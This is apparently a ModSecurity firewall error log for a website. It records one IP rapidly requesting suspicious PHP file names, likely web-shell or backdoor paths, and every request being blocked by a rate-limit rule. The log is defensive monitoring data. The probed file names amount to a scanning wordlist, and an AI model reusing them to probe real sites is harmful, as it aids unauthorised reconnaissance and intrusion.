[Wed Apr 01 21:25:45.040820 2026] [:error] [pid 8910:tid 8968] [client 23.101.55.68:57070] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/only.php"] [unique_id "ac0c2aJZINUcF3tYgExnNgAAAQA"]
[Wed Apr 01 21:25:45.546153 2026] [:error] [pid 8908:tid 8926] [client 23.101.55.68:57064] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/only.php"] [unique_id "ac0c2fkmxtJXGnLdvgCTPgAAAI0"]
[Wed Apr 01 21:25:46.047584 2026] [:error] [pid 8995:tid 9012] [client 23.101.55.68:30930] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/only.php"] [unique_id "ac0c2uonaBjs3qxcRefQJgAAAA4"]
[Wed Apr 01 21:25:46.547043 2026] [:error] [pid 8995:tid 9014] [client 23.101.55.68:65403] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/only.php"] [unique_id "ac0c2uonaBjs3qxcRefQKAAAABA"]
[Wed Apr 01 21:25:47.051381 2026] [:error] [pid 8995:tid 9005] [client 23.101.55.68:42204] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/repurify.php"] [unique_id "ac0c2-onaBjs3qxcRefQKwAAAAc"]
[Wed Apr 01 21:25:47.572576 2026] [:error] [pid 8908:tid 8920] [client 23.101.55.68:62802] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/repurify.php"] [unique_id "ac0c2_kmxtJXGnLdvgCTTQAAAIc"]
[Wed Apr 01 21:25:48.077667 2026] [:error] [pid 8908:tid 8918] [client 23.101.55.68:64852] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/repurify.php"] [unique_id "ac0c3PkmxtJXGnLdvgCTTwAAAIU"]
[Wed Apr 01 21:25:48.582321 2026] [:error] [pid 8909:tid 8952] [client 23.101.55.68:57036] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/repurify.php"] [unique_id "ac0c3DvP_a0662gDl6DYtAAAAMs"]
[Wed Apr 01 21:25:49.086174 2026] [:error] [pid 17856:tid 17861] [client 23.101.55.68:42208] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tdsaz.php"] [unique_id "ac0c3T7Idlm5j9frhqRATAAAAEM"]
[Wed Apr 01 21:25:49.591503 2026] [:error] [pid 62559:tid 62578] [client 23.101.55.68:30950] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tdsaz.php"] [unique_id "ac0c3S7NKI8IaNKZFIenCAAAAVE"]
[Wed Apr 01 21:25:50.093910 2026] [:error] [pid 8995:tid 9012] [client 23.101.55.68:42181] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tdsaz.php"] [unique_id "ac0c3uonaBjs3qxcRefQMQAAAA4"]
[Wed Apr 01 21:25:50.594476 2026] [:error] [pid 17856:tid 17882] [client 23.101.55.68:57046] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tdsaz.php"] [unique_id "ac0c3j7Idlm5j9frhqRATwAAAFg"]
[Wed Apr 01 21:25:51.094240 2026] [:error] [pid 17856:tid 17860] [client 23.101.55.68:42186] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ac0c3z7Idlm5j9frhqRAUwAAAEI"]
[Wed Apr 01 21:25:51.594420 2026] [:error] [pid 17856:tid 17868] [client 23.101.55.68:64837] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ac0c3z7Idlm5j9frhqRAWgAAAEo"]
[Wed Apr 01 21:25:52.094355 2026] [:error] [pid 8910:tid 8968] [client 23.101.55.68:60339] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ac0c4KJZINUcF3tYgExnQwAAAQA"]
[Wed Apr 01 21:25:52.594151 2026] [:error] [pid 8909:tid 8955] [client 23.101.55.68:45334] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ac0c4DvP_a0662gDl6DYuAAAAM4"]
[Wed Apr 01 21:25:53.098619 2026] [:error] [pid 8909:tid 8965] [client 23.101.55.68:56910] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hfles.php"] [unique_id "ac0c4TvP_a0662gDl6DYvAAAANg"]
[Wed Apr 01 21:25:53.597768 2026] [:error] [pid 8995:tid 9015] [client 23.101.55.68:64833] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hfles.php"] [unique_id "ac0c4eonaBjs3qxcRefQNAAAABE"]
[Wed Apr 01 21:25:54.101304 2026] [:error] [pid 8995:tid 9003] [client 23.101.55.68:40015] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hfles.php"] [unique_id "ac0c4uonaBjs3qxcRefQNQAAAAU"]
[Wed Apr 01 21:25:54.601641 2026] [:error] [pid 8910:tid 8988] [client 23.101.55.68:62838] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hfles.php"] [unique_id "ac0c4qJZINUcF3tYgExnSgAAARQ"]
[Wed Apr 01 21:25:55.101912 2026] [:error] [pid 8909:tid 8944] [client 23.101.55.68:40049] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac0c4zvP_a0662gDl6DYxwAAAMM"]
[Wed Apr 01 21:25:55.602258 2026] [:error] [pid 8908:tid 8925] [client 23.101.55.68:30952] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac0c4_kmxtJXGnLdvgCTVwAAAIw"]
[Wed Apr 01 21:25:56.108344 2026] [:error] [pid 8908:tid 8929] [client 23.101.55.68:62814] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac0c5PkmxtJXGnLdvgCTWQAAAJA"]
[Wed Apr 01 21:25:56.613786 2026] [:error] [pid 8909:tid 8949] [client 23.101.55.68:40671] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac0c5DvP_a0662gDl6DYzwAAAMg"]
[Wed Apr 01 21:25:57.112725 2026] [:error] [pid 8908:tid 8932] [client 23.101.55.68:57025] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "ac0c5fkmxtJXGnLdvgCTXgAAAJM"]
[Wed Apr 01 21:25:57.646684 2026] [:error] [pid 8909:tid 8962] [client 23.101.55.68:40009] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "ac0c5TvP_a0662gDl6DY0wAAANU"]
[Wed Apr 01 21:25:58.146799 2026] [:error] [pid 8908:tid 8919] [client 23.101.55.68:42237] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "ac0c5vkmxtJXGnLdvgCTaAAAAIY"]
[Wed Apr 01 21:25:58.675356 2026] [:error] [pid 8995:tid 9018] [client 23.101.55.68:60337] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "ac0c5uonaBjs3qxcRefQPgAAABQ"]
[Wed Apr 01 21:25:59.176448 2026] [:error] [pid 8908:tid 8926] [client 23.101.55.68:32528] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac0c5_kmxtJXGnLdvgCTawAAAI0"]
[Wed Apr 01 21:25:59.687913 2026] [:error] [pid 8910:tid 8989] [client 23.101.55.68:45374] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac0c56JZINUcF3tYgExnWAAAARU"]
[Wed Apr 01 21:26:00.194842 2026] [:error] [pid 8908:tid 8930] [client 23.101.55.68:62847] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac0c6PkmxtJXGnLdvgCTcQAAAJE"]
[Wed Apr 01 21:26:00.706111 2026] [:error] [pid 8910:tid 8982] [client 23.101.55.68:65369] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac0c6KJZINUcF3tYgExnWwAAAQ4"]
[Wed Apr 01 21:26:01.209060 2026] [:error] [pid 8908:tid 8934] [client 23.101.55.68:41409] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "ac0c6fkmxtJXGnLdvgCTdgAAAJU"]
[Wed Apr 01 21:26:01.720597 2026] [:error] [pid 8908:tid 8916] [client 23.101.55.68:64847] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "ac0c6fkmxtJXGnLdvgCTegAAAIM"]
[Wed Apr 01 21:26:02.246469 2026] [:error] [pid 8908:tid 8931] [client 23.101.55.68:56940] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "ac0c6vkmxtJXGnLdvgCTfQAAAJI"]
[Wed Apr 01 21:26:02.782559 2026] [:error] [pid 17856:tid 17863] [client 23.101.55.68:40012] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "ac0c6j7Idlm5j9frhqRAZAAAAEU"]
[Wed Apr 01 21:26:03.289706 2026] [:error] [pid 17856:tid 17871] [client 23.101.55.68:58277] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-moonka.php"] [unique_id "ac0c6z7Idlm5j9frhqRAZwAAAE0"]
[Wed Apr 01 21:26:03.808619 2026] [:error] [pid 8995:tid 9020] [client 23.101.55.68:54308] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-moonka.php"] [unique_id "ac0c6-onaBjs3qxcRefQQgAAABY"]
[Wed Apr 01 21:26:04.316835 2026] [:error] [pid 8995:tid 9017] [client 23.101.55.68:60346] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-moonka.php"] [unique_id "ac0c7OonaBjs3qxcRefQRAAAABM"]
[Wed Apr 01 21:26:04.838878 2026] [:error] [pid 8995:tid 9010] [client 23.101.55.68:5600] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-moonka.php"] [unique_id "ac0c7OonaBjs3qxcRefQRgAAAAw"]
[Wed Apr 01 21:26:05.345082 2026] [:error] [pid 17856:tid 17867] [client 23.101.55.68:32538] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ac0c7T7Idlm5j9frhqRAbAAAAEk"]
[Wed Apr 01 21:26:05.866671 2026] [:error] [pid 8909:tid 8952] [client 23.101.55.68:41415] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ac0c7TvP_a0662gDl6DY3gAAAMs"]
[Wed Apr 01 21:26:06.366787 2026] [:error] [pid 17856:tid 17869] [client 23.101.55.68:30970] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ac0c7j7Idlm5j9frhqRAcwAAAEs"]
[Wed Apr 01 21:26:06.872974 2026] [:error] [pid 8909:tid 8944] [client 23.101.55.68:57053] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ac0c7jvP_a0662gDl6DY3wAAAMM"]
[Wed Apr 01 21:26:07.375618 2026] [:error] [pid 8909:tid 8954] [client 23.101.55.68:41438] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ac0c7zvP_a0662gDl6DY4wAAAM0"]
[Wed Apr 01 21:26:07.879179 2026] [:error] [pid 8995:tid 9000] [client 23.101.55.68:45362] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ac0c7-onaBjs3qxcRefQTAAAAAI"]
[Wed Apr 01 21:26:08.378888 2026] [:error] [pid 17856:tid 17865] [client 23.101.55.68:5610] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ac0c8D7Idlm5j9frhqRAewAAAEc"]
[Wed Apr 01 21:26:08.894687 2026] [:error] [pid 8909:tid 8965] [client 23.101.55.68:41445] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "ac0c8DvP_a0662gDl6DY5gAAANg"]
[Wed Apr 01 21:26:09.396132 2026] [:error] [pid 62559:tid 62574] [client 23.101.55.68:41443] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac0c8S7NKI8IaNKZFIenGwAAAU0"]
[Wed Apr 01 21:26:09.909097 2026] [:error] [pid 17856:tid 17867] [client 23.101.55.68:57087] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac0c8T7Idlm5j9frhqRAfwAAAEk"]
[Wed Apr 01 21:26:10.418583 2026] [:error] [pid 8908:tid 8931] [client 23.101.55.68:44023] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac0c8vkmxtJXGnLdvgCTkwAAAJI"]
[Wed Apr 01 21:26:10.924928 2026] [:error] [pid 17856:tid 17860] [client 23.101.55.68:55700] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac0c8j7Idlm5j9frhqRAggAAAEI"]
[Wed Apr 01 21:26:11.438560 2026] [:error] [pid 17856:tid 17866] [client 23.101.55.68:58283] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ac0c8z7Idlm5j9frhqRAhgAAAEg"]
[Wed Apr 01 21:26:11.947389 2026] [:error] [pid 8908:tid 8925] [client 23.101.55.68:65402] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ac0c8_kmxtJXGnLdvgCToAAAAIw"]
[Wed Apr 01 21:26:12.449736 2026] [:error] [pid 17856:tid 17882] [client 23.101.55.68:32566] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ac0c9D7Idlm5j9frhqRAjQAAAFg"]
